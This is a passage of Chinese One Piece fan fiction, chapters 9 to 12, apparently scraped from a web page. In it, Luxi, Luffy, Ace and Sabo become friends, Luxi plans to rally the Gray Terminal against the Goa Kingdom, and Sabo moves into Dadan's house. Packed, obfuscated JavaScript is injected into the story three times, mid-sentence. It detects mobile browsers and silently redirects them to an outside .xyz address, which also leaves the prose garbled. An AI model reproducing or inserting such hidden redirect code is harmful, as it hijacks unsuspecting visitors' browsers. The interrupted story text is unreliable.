他这样问过我，我当然不可能在这时候告诉他实话，何况萨博也没说他和艾斯的梦想。我摇摇头，只是说保密。 我问他：“你有进去过过端镇吗？” 萨博点头：“当然，我和艾斯可是经常会去那里抢东西。” 他还挺自豪，可接下去这种活动必须得算我一个。我继续问道：“里面是什么样一种情况？” 萨博：“你想知道？” 我猛猛点头：“嗯嗯！” 萨博转了下眼珠子：“和你最近在做的事有关？” 他还蛮聪明，智商看起来比路飞和艾斯高一点。既然对方已经看出来，那便没什么不可承认的。我应道：“没错。” 于是萨博转而也说起端镇的事情来。 “里面没什么，充其量就是有房子和饭馆这些可以吃穿住。不过倒是有很多地痞流氓……” 这种事我早就知道了，但我没出声打扰萨博，而是继续静静听着他说下去。 “平民们和贵族都住在更里面，市中心的位置。在端镇也混不下去的人才会被赶出来，流浪到不确定物终点站……” 这样一想我聚集起来的那群人确实是垃圾中的废物嘛，不过问题也不算特别大。垃圾也好人也好，最重要的是还留存着斗志，兰迪他们还有着想回去的动力，那便算不上彻底无用。 “市中心和端镇的垃圾通常一天两次扔到外面，也就是不确定物终点站……”说倒这，萨博顿了一下，转而问我，“你知道哥亚王国为什么被称为最美丽的国家吗？” 我摇摇头，我又没进去过，怎么会知道。可能就是非常漂亮吧，养了许多花花草草之类的。我以前居住的风车村就是这样干净又好看的。说起来也有一段时间没见到玛琪诺她们了。 我还在想着风车村的居民呢，就看到萨博脸上露出一个有些讥讽的笑，“因为所有垃圾全都被扔到城镇外了，就是这里，不确定物终点站。至于外面究竟会变成什么样子，会发生什么情况，人们要怎么活，里面的贵族们才不会在意。” 我若有所思，“你难道是因为看不顺眼这种事才从贵族老家跑出来的吗？” 萨博：“嗯……不不不，我都说了我不是贵族！” 我急忙点头：“哦哦，我忘了。” 萨博擦擦脸上的汗，接着往下说：“差不多就是这种情况，端镇不过是好一点的不确定物终点站，等哪一天王国里的贵族们感到了厌烦，说不定里面的那群混混也会被驱逐出来。不……更糟糕一点，端镇也会成为不确定物终点站。” 我正色起来，那贵族们很坏了。不过没关系，到那时我就率着大家一起冲进去，奏起反攻的号角。 我问道：“不过，端镇有稳定的食物来源吧，至少会比不确定物终点站里的好？” 萨博点头：“那当然，就是要付钱。” 我：“那可以用外面的物资和里面的人换食物吗？” 萨博有些惊讶的看着我：“当然可以，这里的人经常会用找到的再生物资进去交换，不过得通过守卫的检查。你该不会想……” 我坦诚道：“我有在考虑，可不可以用不确定物终点站的物资与端镇进行稳定交易？” 萨博不解：“你做这个要干什么？” 我也不瞒着他，“这样不确定物终点站的大家都有饭吃了。” 萨博用不可思议的目光看着我，我坦荡地回望回去。 “你想让他们都吃饱饭？” “是啊。” 吃饱饭才有体力，有体力才有活力，有活力就会想着吃更多的饭，过上更好的生活。总之，解决了最基础的吃饭问题，大家才能更听我的话，然后一起为反攻哥亚王国努力。 这种事等我们成为真正的朋友再告诉萨博吧！ 萨博摇头：“这太难了。垃圾站这里的人看似很多，可大家都各自散着生活，平日里为了一点值钱的东西就能抢得死去活来。你找了可用的物资，还得先想办法不被他们抢走。何况端镇里面的人不一定就会诚信，随时翻脸都有可能。说实话……” 我看着萨博一下子絮絮叨叨说了很多，都是关于这件事的不可行处和相关风险。有一说一，我并非没有考虑过他说的那些内容，但是——我打断他的话，“如果不去做，就永远不知道最后结果吧。” 萨博楞住，我继续说道：“你从家里离家出走的时候，也被那些可能会出现的不可能劝退了吗？” 萨博：“……” 萨博笑了。 “那倒没有。” 不然他怎么会出现在这里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哈哈，好感人的一幕啊。” 萨博礼貌点评着，或许为了更煽情的戏码上演恶心自己，艾斯果断打断了我们的交流。 “差不多也聊够了吧。” 我瞬间转头盯着他，说话，说话说话说话。我用眼神示意他快对路飞说点什么啊。他撇下嘴角，在路飞茫然的“怎么了？你们在干什么？”的困惑中，他终于看向路飞，颇有几分咬牙切齿的意味，“喂小子，你能跟到这里来面前算你有本事，我就承认你可以当我们的朋友了。但是——”他话锋一转，“你必须从我们的小弟当起，就是说不管发生都得听我们的，一切以我和萨博的命令为主。” 说到这里，他又重新看向我，重重说道：“你们明白了吗？” 路飞秒答：“明白了。” 我做了个鬼脸，才不回答。 “你——” 艾斯说了一个字，又咽下去不说，只是双手互抱着打量着我们。 路飞好奇问道：“所以这就是你们的秘密基地？嗯？这家伙是谁啊？” 我抢先在萨博之前为路飞介绍：“这家伙是萨博！是艾斯的好朋友，接下来也会是我们的好朋友！” 路飞：“噢！” 路飞伸出手；“你好，我是路飞！” 萨博看了一眼他的手，并未去握，只是笑眯眯答道：“你好，我是萨博。” 照这种情况看，我和路飞与他们两个的朋友之路，或许还有很长一段时间要走。不过不管如何，现下我已经很满足啦，至少踏出了成功的第一步！ 9. 章九 “噢——这上面风景真好啊，可以一眼看到外面的垃圾堆！” 我们几个重新爬上树干，路飞站在上面打量着远方的风景，满脸的兴奋之情。 艾斯嗤笑：“小鬼就是小鬼，会为了这种事情兴奋成这个样子。” 我双手叉腰，反问艾斯：“那艾斯第一次发现这里的时候，难道不兴奋吗？” 说实话，我第一次来到这处地方，也相当兴奋。我不信艾斯当初初次发现这块地方时，会没有情绪波动。 他动动嘴角，然后头偏向一边，“没有！” 他当初绝对和路飞一样开心。心口不一的人就是这样，我太了解了！ “算了算了，”萨博笑着打圆场，试图不让气氛变得过于险恶。“我们现在就算是朋友了哦。” “朋友——朋友！” 路飞欢欣雀跃。我开口提问，“所以，你们平时都在这里干什么呢？难道只是在里面翻捡垃圾？” 就算他们两个这么说，我也不会信。 萨博率先回答我，或许是考虑到艾斯绝不会好好说话。“怎么可能，我们有时会在镇里选中目标，从他们手中拿钱。” 说是拿钱，其实只是抢过来。不过一群成年人连自己的财宝都看守不好，那又怎么能怪他们。他和艾斯只是在积攒未来出航的准备金。 “这里的钱抢过来也没法进到更里面去花吧？” 毕竟进入端镇都有守卫检查，何况是更北方的市中心。我断定他们两个一定把钱存起来了。而萨博的回答确实如我所料。 “当然，这可是我们梦想的启动资金。” “喂萨博……” 艾斯出声阻拦，似乎并不太想让我们知道太多。他的防范心很强，或者说强过头了，简直像在专门孤立别人。如果不是路飞一门心思想着跟他做朋友，我可能中途就会放弃，只专心研究如何打倒他，而不是打败对方的同时还要求对方做朋友。毕竟我对一直冷着脸对人的家伙可不会有太多好感。 虽然艾斯心有犹豫，但萨博显然没受到影响。他坚定地看了艾斯一眼，随后对我和路飞说道：“海贼，我们以后准备出海当海贼。” 我：“……” 怎么说好，有一种情理之内意料之中的感觉。路飞是这样乌塔也是这样，自从那个叫罗杰的前任海贼王死后，似乎当海贼已经成为了绝大部分人的梦想。说不定香克斯也是因为罗杰而出航的呢。 萨博：“你好像一点也不惊讶。” 我点头，指着一旁的路飞，“因为这家伙也是。而且之前在风车村也遇见过很厉害的海贼。” 我想起香克斯，嗯，他应该是很厉害的海贼吧。虽然对山贼不还手，还被海兽吃掉了一条胳膊——不过后者是为了救路飞导致的。总之，看爷爷当初听到香克斯气愤的样子，他绝对有点实力。 普通的小海贼可没法入爷爷的眼，要知道他可是很厉害的海军英雄呢。 路飞也认真的回答萨博：“我以后也要出海当海贼。” “你们的爷爷不是海军吗？” 艾斯在一旁不冷不热地问道。 “爷爷是爷爷，总之我就要当海贼。” 路飞在这一点上相当坚定，不管被爷爷揍了多少次，还是会大喊着要当海贼，然后被揍出更多的包。我可不想像路飞那样一直挨揍，所以不会专门在爷爷面前提起我的梦想。 话虽如此，躲那臭老头凌厉的眼神也不容易，我时常感觉他是在清醒地糊涂。 这时萨博问到我了，“那路希呢，你也想当海贼吗？” 我还来不及说，路飞就兴奋地替我回答了这个问题。 “路希不想当海贼，她有另一个很厉害的梦想要实现！” 艾斯长长地“哦”了一声，多少带着点不服输的意味。萨博同样好奇地看着我。 艾斯：“然后呢？你的很厉害的梦想是什么？” 这个回答可不能让路飞代替我回话，这可是我的梦想，我现在以及未来努力奋斗的目标。我扬起嘴角，语调高昂道：“我以后——要成为世界之王！” 艾斯&萨博：“……” 真的假的？ “噗——哇哈哈哈哈哈！” 理所当然地，他们两个爆笑起来。我没有动怒，相当平静地凝视着这两个人。有点奇妙地，这个时候我似乎些许理解了当时面对山贼嘲笑时，未动怒的香克斯的心情。 路飞倒是非常生气，挥舞着拳头大喊道：“喂你们两个——不准嘲笑路希的梦想！我要揍你们了！” “不不不……”萨博勉强止住笑，摆摆手试图平复路飞的怒火，“不是我们想笑，只是这种事实在……” 我拦住了路飞，站在他身前一侧。被嘲笑的是我的梦想，也应当由我自己解决。 我问道：“实在怎么样？” 大抵是因为我的态度过于平静，既未动怒亦未因被嘲笑而难过，反而衬得止不住笑得艾斯和萨博有些可笑了，他们也逐渐收起了笑容。 艾斯又恢复了那种看不太起人的语气：“这种事根本不可能做到。” 我继续追问：“为什么不可能？” 萨博挠了挠脑袋，“从来没有听说过这种事。而且你要怎么做呢？世界之王……我是说，这至少要推翻当今世界政府的统治吧。” 我点头：“是啊。” 艾斯：“你知不知道那是什么一种概念？” 我很坚定：“一个全新的世界政权。” 艾斯：“政……权……？这是什么？” 哦，这人好像文化没我高，跟当初的路飞一样听不懂。不过萨博应该受到过这方面的教育，他的神色比刚才正经了几分。 萨博：“这就是说，你以后可能会与全世界为敌？你知道这句话的意思吗？而且，金钱、人力、物资资源、战力，这些都是要去考虑的东西。” 艾斯看起来有几分无语，看着萨博：“为什么你知道的这么清楚啊？” 萨博：“这个嘛……” 他当初好歹也是贵族家的孩子，认真地接受过过教育，不过目前还是不要说出来比较好。 我打断了他们之间的交流。 “我知道啊，我就是因为知道，才更要去这么做！” 艾斯：“……”艾斯不理解。“为什么啊？” 我笑了，直视着他，说出了最初的也是第一个理由，“因为——你不觉得这很有趣吗？” 艾斯&萨博：“……哈？” “因为很有趣啊。” “这种全世界的人都可能会成为敌人的感觉。” 我再次对他们阐述了一遍自己的理由。 两个人似乎被惊到了，路飞倒是笑出了声。“嗯，路希是个很厉害的人吧！” 艾斯&萨博：“……” 与其说厉害，倒不如说在某方面…… 艾斯：“你……或许是个蛮可怕的人呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039741|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>萨博：“我也赞同艾斯的想法。” 我歪歪脑袋，把话题转到了路飞身上。“路飞也是哦，路飞的梦想可不是当个普通海贼。” 艾斯：“……那是什么？” 事到如今，不管这对兄妹、还是姐弟来着……总之不管她们说出什么，他都不会惊讶了。 “这就让他自己来介绍。” 自己的梦想就应该自己来说。 路飞戴上了那顶随身的草帽，神色坚定：“嗯！我的梦想是——成为海贼王！” 萨博：“……” 确认过梦想，这两个人……没有一个是能让人省心的啊。不知为何，总感觉继续相处下去，之后的生活会变得相当丰富多彩。与当贵族的日子不同，这感觉并不让人讨厌。 艾斯抿了抿嘴角：“海贼王……” 他终究没多说什么，只是心情看起来有几分低沉。我朝他看了一眼，这家伙虽说要当海贼，可却对海贼王没什么追求吗？ 萨博平复了先前讶异的情绪，笑着问道：“那你们应该都有为自己的梦想做准备吧。” 我和路飞同时点头，“当然。” 路飞：“我要变强！然后出海，接着再去找自己的船员！最后成为海贼王！” 相当简洁明了，却又明确的计划。只是给人一种没怎么经过具体思考的感觉。 萨博将视线看向我。 我也看着他，应道：“我已经在行动了哦。” “已经在行动……”萨博怔了一下，随即马上反应过来，“你是说之前在不确定物终点站的那些闲逛，还有问起端镇的情况也是……” 我倒是有些小吃惊，萨博的智商好像还蛮不错的！我还以为要当海贼的人都是一群笨蛋呢。这家伙以后要不放弃成为海贼的梦想，来当我的左右手吧。我绝对会给他很好的待遇。 不过现在还是简单对他们介绍一下我目前的行动好了。 我：“我准备先把不确定物终点站的人们集合起来，凑成一波战力。然后攻下端镇，再攻下高镇，接着是贵族和王族，最后占领哥亚王国。” 艾斯和萨博木着一张脸看着我。 艾斯对萨博说道：“她绝对不知道自己在说什么。” 萨博同意地点了点头。“我赞同。” 我：“……” 我抗议道：“我知道这听起来很天方夜谭不可思议！所以才要非常努力啊！” 萨博：“不、这完全不是努力能成功的事吧。” 萨博觉得有必要详细解释一下。 “就说最开始的战力，说实话不确定物终点站的人就是一团散沙，你要怎么把他们团结起来？” 我秒答：“食物。我现在在给跟随我的那群人提供稳定的食物。当然，我思考过后续人员增多，食物不够的情况。” “所以我的计划是从垃圾堆找出来的东西跟端镇进行稳定的交易，让这群人每天都有饭吃。稳定的食物供给能招收来新的成员，新的成员又能增加我的战力。在这个过程中我同时要劝服端镇的人听从我的命令行事。” “嗯……里面都是一群地痞流氓吧、所以我认为武力的臣服是最简单的。之前想问萨博的事情也是，端镇有没有什么小团伙之类的呢？一个个打过去很累，如果能一口气打服一个团体，那至少能让其他观望的人有所动摇，而且这个小团体最好之后能成为我的战力。” 有一说一，我认为我的条理还是蛮清晰的呢！ 10. 章十 萨博目瞪口呆，他本来是想听一听对方能说出些什么——说实话，他认为路希完全是随性而为，可能根本没思考过具体策略。结果，她还真能说出点名堂。 是认真的啊，他忍不住想。 或许有必要再次刷新一下对对方的看法。 不过即便如此，仍有许多问题。 萨博提出疑问：“你组织的那个群体目前有多少人？” 我：“十七人。目前食物在我能负担的范围内，但接下去若超过二十人，可能就有些吃力。而且我提供的次数是一天一次，这种次数还不能让他们心甘情愿臣服我。有的人只是纯粹认为有便宜可以占才加入的。” “确实，不确定物终点站的人们其实相当现实，而且很多人并没有斗志。你的目标对他们而言可能只是一个笑话。” 我点头：“嗯，所以我得尽快让他们看见我的实力，并且树立他们的信心。” 艾斯忍不住插话：“不听话的人全部打一顿就好了吧，打到听话为止。” 我摇摇头：“暴力可以作为最初的手段，但不能作为唯一的手段。虽然有人恐惧我会让我觉得很开心，自己很厉害，但是只会让别人恐惧我，那就很没用了。说白了，让谁恐惧谁，只要凶狠一点，谁都可以做到。这种谁都能做到的事情不是我想做的，太没意思。” 艾斯：“……” 这人麻烦死啦！ 萨博继续说道：“端镇确实有各自的团体盘踞在不同地点，这些团体平时也会因为财宝或是其它问题陷入争斗。里面的那群人与不确定物终点站的人不一样，他们的个性更加糟糕，手段也更加粗暴。就算第一次打服，之后又不知道会生出怎么样的变化。” 他顿了顿：“因为我们作为外面的人，是不能随时进出端镇的。就算要进去，必须得带着有价值的值得交易的物资，否则，守卫会判定你没有资格进入。” 我：“嗯嗯，说起来物资的话，科尔伯山打猎带来的猎物也行吗？” 萨博：“当然可以，像鳄鱼、熊这类动物，不仅可以吃，它们的皮毛也受到里面不少贵族的喜爱。” “但说到底，这些资源是有限的，你不可能每天都抓到它们，它们的数量会因为你的行动而减少。如果你想用这些跟里面的商人进行联系，刚开始或许能行，但这不是能做长久的买卖。” “这种事我也想过啦，而且我还有达旦一家要养呢。目前对我困扰最大的有两样，一是物资，而是时间。” “我的每日一餐行动之后肯定还会引来更多加入的人，但是物资有上限，在那之前我必须解决这个问题。否则食物无法稳定供应，必定会有人离去。而人心不定，我的团体便撑不了多久。所以我的时间很紧迫。” 路飞突然插话：“肉很重要！” 我怀疑他旁听了这么久只听懂了食物不够。 我和萨博颇有继续讨论下去的趋势，艾斯已经听得不耐烦了——这小鬼要做的事根本与他们没关系吧，他的视线落到正在专心听讲的路飞身上，露出一抹恶劣的笑。 他对着路飞喊道：“喂小鬼——” “嗯？”路飞动了一下耳朵，望向艾斯，纠正道，“我不叫小鬼，我叫路飞。” 艾斯无语一瞬，“谁管这些。我说你，跟我来打一架吧。看看谁比较厉害。” 那边的对话他是加入不进去了，这边的家伙倒是可以好好玩玩。 路飞瞬间双眼放光：“打架？好啊！我不会输的。橡皮橡皮——” 艾斯看着眼前小孩的手像橡皮一样倏然拉长，抓住了上方的枝干，而路飞正借此在空中晃荡，大笑着说道：“来打一场吧！” 艾斯不由得张大了嘴，“这是什么啊？！” 萨博也被这幅景象吸引，不由自主看了过去。说起来，路飞先前还没给他们展示过这些呢。我颇有责任感地讲解道，“这是恶魔果实的能力。路飞是吃了橡胶果实的橡胶人，身体可以像橡胶一样自由伸缩，很好玩的。” 艾斯：“……” 好像只是能更加方便在空中荡秋千而已。 我兴致来了，继续介绍：“路飞还有其它形态的变化呢！” 萨博也顿起兴趣，“真的吗？” 他还是第一次遇见恶魔果实能力者，之前只在报纸上看到过一些相关报道。 我：“嗯嗯！我们下去吧，路飞——你给他们好好展现你的能力。” 路飞在空中又晃动了几下，然后收回手“扑通”一声摔了下去。“哎呦。” 我几下子从树干上跳下来，扶起他，“你还要继续努力呢。” 路飞拍了拍身上的泥土，丝毫没因刚才的失误产生气馁之情：“我会的！” 艾斯在我身后不冷不热问道：“然后呢，还有什么新花招？” 于是路飞再次开始了表演。 从四肢伸长到肚皮像气球一样鼓起来，然后被萨博和艾斯踢着玩，让我不得不感叹，如果未来有一天，他出海遇到了资金问题，还可以用这种法子表演杂技给他的海贼团赚钱呢。 我冲上去：“你们两个不准欺负路飞——也加上我一个啦！” 可恶，第一次发现这种新奇的玩法。 而此时的路飞只是一味嚎叫：“呜哇哇——” 我们的踢路飞球游戏并未持续许久，因为有人不小心把他踹到了不确定物终点站，随后路飞球不受控制的一路往远方滚去。 我们站在垃圾站的边缘目送着路飞滚走，离我们越来越远。 艾斯：“谁干的？” 我：“不知道。” 萨博：“不是我。” 我&艾斯&萨博：“……追啊！” 对不起路飞，晚上一定抢更多的肉放你碗里——来自路希的，毫不真诚的道歉。 我们紧急追着路飞球往不确定物终点站跑去，虽然路飞是橡胶人，不怕这些摔摔打打，可垃圾站乱七八糟的东西太多了，难免有受伤的风险。 最后是我的团体人员拦住了路飞。 在一坨圆滚滚的没见过的还在大叫着的迷之物体滚过来时，大家的第一 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被捂住嘴的艾斯：“唔唔嗯？！” 等一会，刚才分明只有你们两个聊得很欢快吧！他怎么莫名其妙就被拉入进来了？ 萨博拍拍他的肩以示安慰，将他拉到一边小声说道：“我想过了，如果路希的计划真的能成功，对我们以后的梦想也很有帮助。” 他解释道：“光靠搜索垃圾站有没有值钱东西，以及抢镇内其他人财宝，虽然有效，目前为止也确实给我们攒了不少资金。但同时引来了大量人的仇恨，我们在镇内的行动要比刚来那段时间更小心谨慎。” “虽然不怕这些麻烦，但确实添了没必要的事项。如果能和路希联合起来，把不确定物终点站和端镇都变成我们的地盘，到时候想要财宝可就不用往这群人身上抢了，相反，他们会自己送过来。” 艾斯；“……”艾斯听得无语极了，反问道，“你没忘记她的目标最后是占领哥亚王国吧。” 他心情好的时候也不是没想过去哥亚王国贵族那里抢点东西，但真要说到把整个哥亚王国划为自己的地盘，还真没怎么想过。 先不提海贼码头那群盘踞着的海贼了——真要这么干，他们肯定会来分一杯羹，王国内那些守卫们也不是吃白饭的。 萨博哈哈一笑，“我当然想过，但不管怎么看，那种事情离现在都太遥远了，还不如先看看能否把端镇占领下来，反正情况不对劲，我们直接跑路就行。” 艾斯：“……” 艾斯的眼神漂移了一下。 在听着不远处的路希与那群人对话时，他想到的是，如果真的发生了这种事，那家伙说不定会有点伤心吧。虽然他还不算完全承认这两个人是自己的朋友，但对方好像是真心对待他们的。 就是这过程真的烦人。 艾斯最终摆着一张脸说道：“随便你，别给我扯太多麻烦就行。” 11. 章十一 兰迪冷汗直流，他的脸上也好不到哪里去，无法维持平静的神情。 当初说起艾斯和萨博这两个臭名昭著的小孩时，原本是想着试探这个说要当他们老大之人的底细，看看这人是否真的能胜任，以及最后带领他们冲向端镇。 这种不知天高地厚的人最初在不确定物终点站也是存在的，但现今早已消失无踪。 口号会被残酷的现实消磨，证明不过是几句空喊之言，说着要重返哥亚王国的信心会被恶臭弥漫的烟雾腐蚀，一点点滴落在地上，渗透进泥土里，随着偶尔落下的大雨向着更深层渗人进去，随后再次化为烟雾飘向天空。 就像他们的人生那样化作虚无。 恶劣的环境导致的饥饿与疾病、虚弱的体质，资源不足的情况导致的抢夺与斗争、人心惶惶，谁也无法信任。今天交谈过的伙伴明天或许便会为发现到的财宝大打出手。无论哪个地方都可以睡下，只要有躺着的空间便可。 第一次来到城墙外的人们都仍留存着微弱的希望：回去。然而到最后只剩下唯一的渴求，活下去。 能活下去就好，不管食物、衣物、住所，只要闭上眼睛第二天睁开来时还能看到第二天的天空便好。这才是生而为人最重要的。 在此之上的追求：希望、梦想、欢乐、即便是悲伤，也是活下去才能得到的。 而更多的时候，他们麻木不仁。 原本只是看中了这个小孩每天带过来的一顿食物，想必背后必定会有成年人支持她行动。听说，科尔伯山那里不是生活着一群山贼？ 或许是那群山贼试图做点什么，才让这个小孩出手。 艾斯和萨博不过是试探实力的借口，如果连这件事也做不到，那么便把她当做冤大头，每天交点垃圾过去便好，一顿肉能换来的还想是什么呢？这里的人也要为获取更多的肉考虑啊。 结果就这么嘻嘻哈哈吵闹着过来了，一副漫不经心的神情，说着以后的伙伴增加了。闲谈间相当熟稔的样子，那两个一直很难搞的小鬼也没什么太大抗拒的反应。 还有在她身边的另一个小鬼，虽然不认识也没听过，但能聚在一起——而且刚才还那种奇怪的鼓成球的样子，想来不是什么易与之辈。 或许，他们对目前这名领头人的想法要稍稍改变，也许可以更认真地听她一段话。 * 我才懒得去具体探究兰迪这群人的想法和念头呢，总之，自从跟艾斯与萨博一同到他们面前晃了一圈，他们看起来确实比之前更听我的话，交上来的东西也不止是垃圾垃圾和垃圾。 我也不是笨蛋，先前那种糊弄我的手段自然看得出来。但是又不能直接发怒解决他们，因为这群人是目前我能掌控到的最好资源，而且还有先前几周的投入成本。 看来艾斯他们的加入还是直接给我带了不少好处，接下来能一直维持住便好了。 兰迪这边的忠心度是暂时稳定了下来，接下去是萨博的事。 萨博是贵族家离家出走的小孩，虽然他自己一直不承认，也从未告知艾斯。不过从身上的穿着打扮和平时的交谈，还是很容易看出来的。 至少路飞和艾斯脑中都没有对女孩子要礼貌的想法，但萨博居然有诶。虽然平时也不见得他表现出来。 甚至还会说出淑女这个词。 难道我很不淑女吗？话说淑女到底是个什么鬼玩意？玛琪诺没教过啊。我既然是个天才，那肯定也会是淑女吧！ 我觉得他的话相当没道理，于是直接偷偷袭击萨博，手臂勒住他的脖子，双腿箍住他的身体，以一种要把他窒息而死的气势逼问他。 “你说我是淑女——你快说我是淑女啊！说话说话！” 萨博：“咳咳咳……” 艾斯：：“……” 他绝对不会参与这种幼稚又无聊的吵闹。 路飞高举双手：“路希是淑女——！” 我：“不是要你说啦！” 被胁迫住喉咙难以开口的萨博：“唔唔呜呜唔咳咳咳……” 我的脑袋更靠近了他一点：“你说什么？没听清，大声点——！” 艾斯忍无可忍：“你这样用力勒着他喉咙要他怎么说话？！你是白痴吗？” 我：“哦。” 我小小地减少了力度，然后继续凶神恶煞。 “我是天才怎么会不是淑女？！你说话啊萨博！” 萨博：“……” 萨博感觉自己简直要哭了，如果时间能重来，他绝对不会挑起这个话题。而现在有生命之危的他只能老老实实承认：“你是淑女……绝对没有比你更淑女的了。” 我心满意足了，放开了萨博，结束对他的攻势。 喉咙和身体得到解放的萨博咳嗽几声，缓缓呼吸新鲜空气，落后几步对在后面的艾斯小小声道：“如果她是淑女，那这个世界就彻底完蛋了。” 艾斯：“……让你惹她。” 还是艾斯，但这次沉默了几秒。“淑女是什么东西？” 萨博：“……” 萨博绝望地闭上眼睛：“算了你当我没说。” 这就是有文化和没文化在交流中注定会产生的沟壑。 得到萨博肯定的回答后，我心情大好，跑到前面和路飞并肩走了一段路。随后想起先前忘记的那个话题，之前我就思考过这个问题。既然现在我们四个人都是朋友，是时候提出来了。 我旋即转身，看向走在后面的萨博和艾斯，目光落在萨博身上。 萨博眉头一跳：“……什么事？” 可恶，脖子还在难受，这祖宗又要干什么。 我笑眯眯看着萨博，问道：“萨博，你搬过来和我们一起住吧。” 似是有些不敢相信自己听见了什么，他晃了会神，连艾斯也是。 萨博：“什么……？” 我相当有耐心的重复了一遍，“我说，你搬来达旦一家跟我们一起住吧。” 我是认真的，四个好朋友中有三个人都住在一起，剩下的那个人晚上睡觉和白天醒来的时候都会想些什么呢？ 何况，萨博除了不确定物终点站和秘密基地，也没有其它地方可供他去了吧。看他对自己贵族身份这么抗拒，不想承认的样子，这人明显不想回哥亚王国的家里嘛。 我继续给出理由，准备让萨博无可反驳，必须听从我的意见行动。 “第一，我们是朋友，好朋友就要住在一起，我和路飞还有艾斯都是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039743|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。所以你也应该要过来和我们一起住。” “第二，我们是要一起实现梦想的伙伴，是要一起将名声响彻世界的共犯，住在一起更方便密谋以后的计划，不然有时候不方便出去会面，讨论问题会很麻烦。” “第三，随着之后我们计划的推进，注定会有一些人把我们认作敌人，敌人就是需要消灭的存在。你一个人在外面会很危险。” “第四，也就是最后一点，我觉得我们应该要住在一起，所以你必须要过来一起住！” 萨博：“……” 前三条还算有理有据，但到最后一点是怎么回事，完全就是随着自己心意行动，毫不讲理的山大王啊！真不愧是有着想成为世界之王梦想的人，为人性格果然也很难搞。 但是对于这个提议，他或多或少有所心动。流浪在外的人最想要的或许便是一个可以稳定吃饭睡觉的地方，虽然外面的生活很有趣。但他夜晚也时常会被忽如其来的瓢泼大雨或路过的野兽惊醒。 不过……他抬头看向艾斯，正巧艾斯也结束思考看着他。 艾斯：“她说的有道理，反正我们都认识了，你住进来也没关系。” 萨博又看回路希。 “达旦一家的问题呢？据我所知，她是你们你们的监护人吧。” 这之前也是艾斯的顾虑。 我：“你说那群平时主要靠我和艾斯还有路飞养活的山贼吗？没关系，如果达旦和她的手下们有意见，我们可以联合起来把这群人赶出去，然后彻底把达旦之家变成路希之家，成为我们的领地！” 萨博&艾斯：“……” 萨博竖起大拇指：“……好，不愧是你。” 路飞双眼冒光鼓掌夸赞：“太帅了路希！” 只有艾斯在纠结另一个问题：“为什么是路希之家，不是艾斯之家？” 我朗声道：“因为我要当老大！” 艾斯反驳道：“我才是最大的那个吧。” 我义正词严：“这跟年龄没关系！就像海贼船上得有人当船长，新的达旦之家也得有人当老大。既然这个建议是我提出来的，所以我就是老大。如果你下次能提出一个好用的新建议，那我也可以暂时让位，让你当一段时间。” 艾斯“嘁”了一声，不服输道：“我本来就是你们的老大。” 我捂住耳朵，对他吐了下舌头。“听不见听不见——” 他的额上冒出青筋，“你跟我再来打一架。” 这下我听见了，论打架我绝对不会错过。我捋起并不存在的长袖，跃跃欲试，“打就打，这次我一定会赢。” 路飞站在我旁边同样兴致满满，“这次我也来！” 艾斯直接招呼萨博：“萨博，你准备好了吗？这次我们绝对要赢。” 不知道为什么忽然就打起来了的萨博：“……？” 等一下，达旦之家那边都还没去问过同不同意吧。为什么突然就为了一个还不存在的XX之家老大位置打起来了啊？！他们以后真的能进攻端镇，再是高镇，然后占领哥亚王国吗？ 萨博十岁，陷入了深深的忧郁，然后一捋袖子加入战斗。既然是为了他入住才引起的这个问题，那叫萨博之家不才最合适吗！ 12.章十二 达旦午觉醒来，眼前多出四个小孩。 哦。 一、二、三、四。 路希、路飞、艾斯。 还有一个是谁啊？！ 我相当有礼貌地为刚睡醒的达旦介绍萨博：“这是萨博，你和你的手下们认识一下，他以后就跟我们一起住了。” 萨博也有礼貌地行了个礼问好：“你好，达旦，以后打扰你们了。” 达旦：“……？”达旦认为自己必须得生气一下。“我才是这个家的主人吧！为什么你带人进来住的这么理所当然？” 我：“……” 我：“虽然这话我自己都说得有点厌倦了，一个话题重复三遍就是老套。但你们之前确实是靠我和艾斯还有路飞一起抓的猎物过活的吧。当然我知道你们自己也有能力捕食，但你们先前吃的确实就是我们三个带回来的食物吧。” 达旦：“……” 好的她算是彻底明白了，什么叫吃人嘴短拿人手短。但是自己只要躺在家里，每天就会有食物上门的日子好爽哦。可以让别人养活自己，为什么还要努力去山里打猎？她已经是个没什么志向的山贼头头了。 达旦选择认输。 “好吧，萨博可以住进来，但别给我招惹来太多麻烦。” 别以为她没听过山下不确定物终点站的两个恶童的名号，山贼界也不是什么信息闭塞之处。 达旦回答后，轮到我和艾斯同时“嘁”了一声。我小声抱怨着：“达旦你真没骨气。” 艾斯难得赞同地点头。 还以为她会拼死反对，然后我们就可以打败她，把达旦之家改成路希之家呢。刚才跟艾斯他们白打一架。 达旦：“……” 她宣布她真的受不了了。不同意要被指责，同意了还要被骂，这就是当初为什么她坚决拒绝养小孩的原因。养得如果是几个听话乖巧随叫随到不求回报能治愈她的小天使就算了，但很明显她遇见的是毫无慈悲心肠的恶魔。 她会永远的憎恨卡普。 都是那个臭老头先把艾斯丢过来，强行让她养大，接着又把路希和路飞丢过来，而现在小孩都学会自己找小孩，带回家让她看顾了！ 